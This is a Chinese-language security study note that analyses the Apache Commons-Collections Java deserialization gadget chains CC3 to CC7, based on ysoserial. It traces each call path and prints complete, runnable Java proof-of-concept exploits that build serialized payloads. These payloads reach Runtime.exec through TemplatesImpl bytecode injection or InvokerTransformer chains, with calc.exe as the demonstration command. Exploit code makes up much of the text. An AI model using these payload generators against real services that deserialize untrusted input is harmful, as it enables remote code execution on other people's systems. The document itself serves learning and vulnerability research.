CC链学习下:

前言:

这次直接尝试一口气跟完链子,然后转进下一部分了。

CC链3:

jdk 1.7

commons-collections-3.1

还是从ysoserial的源码入手。

image-20230522174835014

这里告诉我们是改变了CC1链子,通过InstantiateTransformer去替换了InvokerTransformer。

image-20230522175304087

在这里,创建ChainedTransformer类的时候是随便添加的一个元素,后面会通过反射方式去重新换成Transformer[]数组

image-20230522175453300

然后下方通过LazyMap的decorate()函数调用的时候,就是首先返回TrAXFilter.class,然后调用InstantiateTransformer#transform()

看一下这个类的transform()函数。

image-20230522182952054

这里重点很显然是else中的newInstance()。也就是通过反射的方式,创建了input参数对应类的实例。

if限制了我们传入的input参数,必须是Class类或是Class的子类。

当我们newInstance()之后,就会触发com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类中的构造方法。

image-20230522184054704

通过这里的newTransformer()去触发动态加载字节码的那条链子。

构造CC3的POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class POC {
public static void main(String[] args) {
TemplatesImpl templates = new TemplatesImpl();
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class));
CtClass poc = pool.makeClass("Poc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"C:\\\\Windows\\\\WinSxS\\\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\\\calc.exe\");";
poc.makeClassInitializer().insertBefore(cmd);
String RandName = "POC"+System.nanoTime();
poc.setName(RandName);
poc.setSuperclass(pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName()));
byte[] classbyte = poc.toBytecode();
byte[][] trueclassbyte = new byte[][]{classbyte};
//反射设置值
Field field2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_bytecodes");
field2.setAccessible(true);
field2.set(templates,trueclassbyte);
Field field3 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_name");
field3.setAccessible(true);
field3.set(templates,"Ho1L0w-By");
Field field4 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_tfactory");
field4.setAccessible(true);
field4.set(templates,new TransformerFactoryImpl());
} catch (CannotCompileException | NotFoundException | IOException | ClassNotFoundException |
NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedtransform = new ChainedTransformer(transformer);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,chainedtransform);
try {
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class,outerMap);
FileOutputStream file = new FileOutputStream("./CC3.ser");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(instance);
FileInputStream file1 = new FileInputStream("./CC3.ser");
ObjectInputStream input = new ObjectInputStream(file1);
input.readObject();
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}

}
}

image-20230524003945372

使用LazyMap的POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class POC {
public static void main(String[] args) {
TemplatesImpl templates = new TemplatesImpl();
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class));
CtClass poc = pool.makeClass("Poc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"C:\\\\Windows\\\\WinSxS\\\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\\\calc.exe\");";
poc.makeClassInitializer().insertBefore(cmd);
String RandName = "POC"+System.nanoTime();
poc.setName(RandName);
poc.setSuperclass(pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName()));
byte[] classbyte = poc.toBytecode();
byte[][] trueclassbyte = new byte[][]{classbyte};
//反射设置值
Field field2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_bytecodes");
field2.setAccessible(true);
field2.set(templates,trueclassbyte);
Field field3 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_name");
field3.setAccessible(true);
field3.set(templates,"Ho1L0w-By");
Field field4 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_tfactory");
field4.setAccessible(true);
field4.set(templates,new TransformerFactoryImpl());
} catch (CannotCompileException | NotFoundException | IOException | ClassNotFoundException |
NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedtransform = new ChainedTransformer(transformer);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = LazyMap.decorate(innerMap,chainedtransform);
try {
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
Object instance = constructor.newInstance(Retention.class,proxyMap);
FileOutputStream file = new FileOutputStream("./CC3.ser");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(instance);
FileInputStream file1 = new FileInputStream("./CC3.ser");
ObjectInputStream input = new ObjectInputStream(file1);
input.readObject();
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}

}
}

挺奇怪的是,这里执行完

Map proxyMap = (Map) Proxy.*newProxyInstance*(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);

语句后,会弹出一次计算器,应该是在什么调用的过程中调用到了newInstance(),然后创建了一个类,提前触发了吧。

调试了一会儿没看出来。

CC链4:

jdk 1.7

commons-collections4-4.0

实际上这条链子就是一个CC2链的升级版本,也就是不使用InvokerTransformer类,来触发newTransformer()方法,进而调用动态加载字节码的TemplateImpl类。

而是像我们之前学习的CC3链一样,通过InstantiateTransformer()和TrAXFilter类来触发newTransformer()方法。

整条调用链其实都已经分析过了,这里直接写POC:

构造CC4的POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class POC {
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);

ClassPool pool = new ClassPool().getDefault();
pool.insertClassPath(new ClassClassPath(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class));
CtClass poc = pool.makeClass("Poc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"C:\\\\Windows\\\\WinSxS\\\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\\\calc.exe\");";
poc.makeClassInitializer().insertBefore(cmd);
String randname = "Poc"+System.nanoTime();
poc.setName(randname);
poc.setSuperclass(pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName()));
byte[] classbyte = poc.toBytecode();
byte[][] truebyte = new byte[][]{classbyte};

TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_bytecodes",truebyte);
setValue(templates,"_name","Ho1L0w-By");
setValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chain = new ChainedTransformer(transformer);

TransformingComparator comparator = new TransformingComparator(chain);
setValue(queue,"comparator",comparator);

try{
FileOutputStream output = new FileOutputStream("./CC4.ser");
ObjectOutputStream ob = new ObjectOutputStream(output);
ob.writeObject(queue);

FileInputStream input = new FileInputStream("./CC4.ser");
ObjectInputStream ob2 = new ObjectInputStream(input);
ob2.readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
public static void setValue(Object object, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

这一次我添加了setValue()函数,用于反射,修改值。

image-20230526151359010

CC链5:

jdk 1.8

common-collections 3.1

首先先看一下ysoserial中的调用栈:

image-20230526152559630

可以看到最后命令执行的部分,其实就是CC1中的命令执行方式。

主要是进入命令执行前的部分不一样。

BadAttributeValueException.readObject()->

TiedMapEntry.toString()->

LazyMap.get()

稍微看一下:

BadAttributeValueExpException#readObject():

image-20230526153039580

前两行用于获取ois中,名为val元素的值。

然后下面进行几个if判断,我们的目标是进入到第二个elseif中,然后去调用toString()函数。

根据调用栈,可以知道我们这里是在尝试调用TiedMapEntry#toString()

image-20230526153922077

这里返回了字符串,但是这里的关键在于getValue()

image-20230526202958322

在getValue()函数中,调用了this.map.get(),这里就是我们调用栈中的LazyMap#get()

跟进到LazyMap中:

image-20230526210119671

可以看到在第一个if中,调用了put(),这里就可以触发回调,进而触发ChainedTransformer。

这里调用的是super.map的put方法。

我们可以看到,LazyMap类是继承的AbstractMapDecorator.class

image-20230526211250634

也就是说,这里我们是调用的AbstractMapDecorator中的map元素。

不过无伤大雅,LazyMap中的构造函数会直接帮我们完成设置元素的过程。

image-20230526211540048

这里逻辑就已经理顺了,开始构造POC,命令执行的部分直接从CC1里面搬过来就好了。

构造CC链5的POC:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformer);
HashMap innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,chain);

TiedMapEntry tied = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
setValue(bad,"val",tied);
try{
FileOutputStream output = new FileOutputStream("./CC5.ser");
ObjectOutputStream ob = new ObjectOutputStream(output);
ob.writeObject(bad);
ob.close();
} catch (IOException e) {
throw new RuntimeException(e);
}

try{
FileInputStream input = new FileInputStream("./CC5.ser");
ObjectInputStream ob2 = new ObjectInputStream(input);
ob2.readObject();
} catch (ClassNotFoundException | IOException e) {
throw new RuntimeException(e);
}
}
public static void setValue(Object object, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

image-20230526235820635

一个有趣的点:

在调试POC的时候,我遇到了一个很奇怪的问题,就是当我使用IDEA的调试的时候,在readObject()之前就会弹出计算器。

image-20230527000615773

一开始百思不得其解,一直以为是我的POC写错了,但是对比了网上别的师傅写的POC好几次之后,发现没什么问题。后面,在知识星球里面找到了一位师傅的分析。

当IDEA在进行调试的时候,因为药输出相关对象的信息,所以会默认的调用到toString()方法,也就是此处会调用的TiedMapEntry类的toString()方法

因为我们之前已经写好了TiedMapEntry类中的所有的需要的调用链,所以这里就会直接触发我们之前写好的调用链。

CC链6:

jdk 1.7/1.8

common-collections 3.1

这个链子,理论上来讲目前应该是没有jdk版本限制的。

CC6链子的出现,最主要的就是完善了CC1链在高版本不能使用的缺陷。

这里的学习,主要还是参考P神的Java安全漫谈和网上师傅的博客。

首先还是看一下ysoserial中给出的调用栈:

image-20230527004241448

可以看到,这里的调用栈已经完全脱离了AnnotationInvocationHandler了。但是后面的命令执行部分,还是调用的LazyMap#get(),来连锁调用ChainedTransformer对象。

事实上,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()方法。

这里跟一下链子:

image-20230527145049090

这里调用了put函数,根据调用栈,这里应该是调用HashMap中的put函数。

image-20230527145151228

可以看到这里,return中,调用了hash(),跟进:

image-20230527145240498

一个三元判断,只要我们令key不为null即可调用我们需要的hashcode()函数。

为了调用TiedMapEntry#hashCode(),我们就将key设为一个TiedMapEntry的对象就行,然后就直接调用其中的getValue()函数。image-20230527145628051

这里也就回到了CC5中的链子。

image-20230527150007786

直接调用LazyMap#get()即可。

P神的简化链:

P神在Java安全漫谈12中写了一个简化的链子,其实主要简化部分,就是将入口从HashSet#readObject()中,换到了HashMap#readObject()中。

image-20230527150731762

可以看到,在HashMap#readObject()中,putVal()中调用了hash(),这样就可以直接触发链,不需要那么长。

构建POC:

构建POC:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class POC{
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {

Transformer[] fake = new Transformer[]{};
Transformer chain = new ChainedTransformer(fake);
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe"}),
};

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chain);

TiedMapEntry tiedMap = new TiedMapEntry(outerMap,123);

Map hashmap = new HashMap();
hashmap.put(tiedMap,"value");

outerMap.remove(123);

setValue(chain,"iTransformers",transformer);
try{
FileOutputStream output = new FileOutputStream("./CC6.ser");
ObjectOutputStream ob = new ObjectOutputStream(output);
ob.writeObject(hashmap);
ob.close();

FileInputStream input = new FileInputStream("./CC6.ser");
ObjectInputStream ob2 = new ObjectInputStream(input);
ob2.readObject();
} catch (ClassNotFoundException | IOException e) {
throw new RuntimeException(e);
}
}
public static void setValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

image-20230527191731291

注意事项:

整个POC是调用的P神给的简化版调用栈,也就是入口在HashMap里面。

这里有个比较特殊的地方,

image-20230527232219726

这里是必须要使用remove函数,从outerMap对象中去除一个键值123的。

这是因为,当我们向HashMap的对象中存入键值的时候,也就是调用put函数的时候,hashmap#put()

image-20230527232700434

image-20230527232721914

这里,我们会调用到hash()

image-20230527232748494

可以看到,这里就进入了我们之前规划好的调用链, 会提前触发一次。

这里来到最关键的调用点,LazyMap#get():

image-20230527232920267

在这次提前触发链中,在进行if判断的时候,其实就是判断我们传入进去的innerMap这个对象中有没有键值。

当我们创建时,什么都没有传入,很显然是不会存在键值的。

此时,就会进入if内,然后触发我们设置好的调用链,弹出一次计算器。

然后开始调用super.map.put(key,value),这里就会将我们传入的key值,和我们执行完成ChainedTransformer返回的值存入Map中。

当我们后面进行反序列化的时候,就会发现,这里的if是过不去的了,因为已经存在我们设置好的键值。

所以我们需要在这里将设置好的键值删除,也就是调用outerMap.remove()

之所以会使用到outerMap.remove()是因为我们这里,是去除父类中的map的键值key,也就是super.map

当调用到outerMap中的remove()方法时,因为在LazyMap中不存在remove()方法,此时会自动调用它继承的父类AbstractMapDecorator中的remove()方法。

image-20230528001727333

此时完成对键值的删除。

CC链7:

jdk 1.7/1.8

common-collections 3.1

先看一眼ysoserial中的调用栈:

image-20230528002052355

可以看到后面这部分,还是在尝试调用LazyMap中的get(),然后通过get去调用ChainedTransformer,进而调用InvokerTransformer。然后通过反射的方式来到用Runtime.class中的exec()

分析:

跟一下前面部分的链子:

java.util.Hashtable#readObject():

image-20230528180534607

在readObject()函数的最后,会发现这里调用了自身的reconstitutionPut()函数。

image-20230528180628633

这里是将Hashtable中的key和value从序列化字符串中读出,然后作为参数传入。

image-20230528181344061

这里需要保证有一个value值,否则会直接报错。

后面部分有一个key.hashCode(),如果我们将key设置为TiedMapEntry类的对象,理论上可以回到CC6链,开始调用LazyMap。

不过这不是CC7的链,CC7的调用方式在equals

要整体的看懂这里的链子,最重要的是要先正确的理解table这个参数。

首先,我们要知道的是在Hashtable中,table这个参数是transient的,也就是在进行序列化的时候,table是不会被写入到数据流中的。

这里首先看一下Hashtable#writeObject()

image-20230529004706631

可以看到,从框开始,通过for循环,将table中的所有键值对都存入了entryStack这个对象中。

随后在writeObject()函数将要结束的时候,将entryStack中的键值写入到序列化数据流中。

而在readObject()中,正是读出了这里得到的键值对,然后依次存入key和value参数中。

image-20230529005116710

随后调用了reconstitutionPut()函数。这个函数的主要效果是将读出的key和value放到全新的table这个参数中。

image-20230529005431649

在这个函数里面,首先对value进行了一个if判断,需要value不是null。

然后开始计算key对应的哈希值,通过位运算获取到key对应的索引值。然后开始进行for循环。

在循环中,创建了一个Entry对象e,用于获取tab中索引对应的键值对。随后进行判断,若e中的哈希值和键值都与我们此次传入的相同,则代表table中已经存在了这个键值对,直接报错。

否则,就将键值对添加进去。

image-20230529010236811

这里有个key.hashCode()的调用,理论上这里可以接上CC6那条链子。

以及这里有一个特点,当第一次调用这个reconstitutionPut()的时候,table中是空的,因此不会进行for循环进行判断,而是直接把键值对放进去。

不过CC7调用链不在这里,在equals。

image-20230529010320466

这里的key,应该是一个LazyMap对象,但是因为LazyMap中没有equals(),所以会像之前调用remove一样,调用到父类AbstractMapDecorator中的equals方法。

image-20230529010757426

这里是一个三元运算式,如果我们传入的object和this没有引用同一个对象,则调用map.equals(),因为map是我们在创建LazyMap时传入的HashMap对象,因此这里是调用的HashMap中的equals()

image-20230529012156528

但是会发现HashMap中其实没有equals()函数,上面这个函数是一个内部类中的,因此是调用的它的继承的抽象类中的函数equals()。

image-20230529013021343

可以看到这里调用了get,即可触发LazyMap#get()

总结条件:

这里需要回头看一下m是怎么来的:

image-20230529151233124

也就是说,m是我们一开始,从序列化流中读取出来的key,这个是我们可以控制的,只要能够保证这个key,就可以完成调用。

这里不妨先梳理一下key所需要具备的条件:

  1. 我们调用的是LazyMap类的父类中的equals(),因此,e.key需要是LazyMap对象。
  2. 随后调用的是this.map.equals()函数,这里调用的是HashMap的父类,AbstractMap中的equals()函数,为了利用其中的get(),则我们传入的key,即object需要是LazyMap的对象。
  3. 因为我们知道在第一次for循环的时候,table中为空,所以会直接将键值对存放入table中,当我们进行for循环中的if判断的时候,实质上就是将第一次传入的键值对,与这一次传入的键值对进行判断。

综上,我们可以知道,我们要保证第一次和第二次传入的key都是LazyMap的对象,同时要保证,两次传入的key进行了hashcode()计算后,值是一样的,这样才能调用到equals。

同时,这里也解释了一个问题,就是在调用equals的时候,为什么要通过AbstractMapDecorator类去间接的调用AbstractMap中的equals,而不是直接在if中,通过可以控制的e.key来调用AbstractMap中的equals(),就是因为不能控制正确的hashcode。

hashCode()函数:

因为我们传入的两个key都是LazyMap的对象,所以这里调用的hashCode()函数也是存在于LazyMap中的函数。这里可以详细看一下计算逻辑,尝试构造一个合理的哈希值。

可以发现在LazyMap中没有hashCode()函数,跟进到父类AbstractMapDecorator中。

image-20230529162907176

this.map是HashMap对象,跟进到HashMap中:

image-20230529163134599

可以发现这里调用了Objects中的hashCode()函数,对键和值进行hashCode计算,然后进行异或。跟进:

image-20230529170045933

因为函数中的o是hashmap中的key和value,所以这里实际上是调用的String中的hashCode()。

image-20230529170905720

可以看到,这里的逻辑就是将一个字符串拆解开,将每个字符存放在char类型数组val中,随后将哈希值h乘31,然后再加上当前字符的Ascii码,随后赋给h,实际上就是一个累加的过程。

因为默认的h为0,这个过程实际上就是:

Ascii(数值1)*31+Ascii(数值2)

这就很简单了,只要找到两个合适的字符,就可以生成相同的hashcode。

比如xO和y0,yy和Zz。

也就是说,只要我们保证键值为上述任意一组字符串,即可达成if条件。

到这里为止,就分析的差不多了,开始尝试构建POC。

构建POC:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Transformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe"}),
};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazymap1 = LazyMap.decorate(innerMap1,chain);
Map lazymap2 = LazyMap.decorate(innerMap2,chain);

lazymap1.put("yy",1);
lazymap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1,1);
hashtable.put(lazymap2,1);

lazymap2.remove("yy");
//这里必须要调用remove函数,否则不能弹出计算器,后文说明。
setValue(chain,"iTransformers",transformers);


try{
FileOutputStream output = new FileOutputStream("./CC7.ser");
ObjectOutputStream ob = new ObjectOutputStream(output);
ob.writeObject(hashtable);

FileInputStream input = new FileInputStream("./CC7.ser");
ObjectInputStream ob2 = new ObjectInputStream(input);
ob2.readObject();
} catch (ClassNotFoundException | IOException e) {
throw new RuntimeException(e);
}
}
public static void setValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

image-20230529232811138

调用remove()的原因:

image-20230529233742118

当我们在这里,像hashtable中存入键值的时候,可以跟一下put方法。

image-20230529233915952

可以看到,这里就已经调用了一次entry.key.equals(key),也就是已经调用了一次触发链。

注意,这里put(lazymap1,1)的时候,是不会触发的,因为不会进入for循环,需要在put(lazymap2,1)的时候才会触发。

这里直接一路跟到后面,AbstractMap#equals()

image-20230529235052212

此时,是lazymap1中super.map对应的键值对,也就是yy=>1

随后调用的是m.get(key),也就是调用的lazymap2中的get方法,此时将yy作为key传入。

也就是说,到了lazymap2的LazyMap#get()时,传递进入的key参数是yy

image-20230529235629501

很显然,此时是没有yy这个键的,所以会将yy传入lazymap2的super.map中。

super.map中就有两个键了,在后续执行的时候就会失败。所以需要remove掉。

但是不止这个地方有问题,

image-20230529235957173

事实上在进行到这部分的时候,就会因为size为2而被截断。

总结:

这里跟完了CC链的所有链子,感觉学到了不少,但是还是常用常新。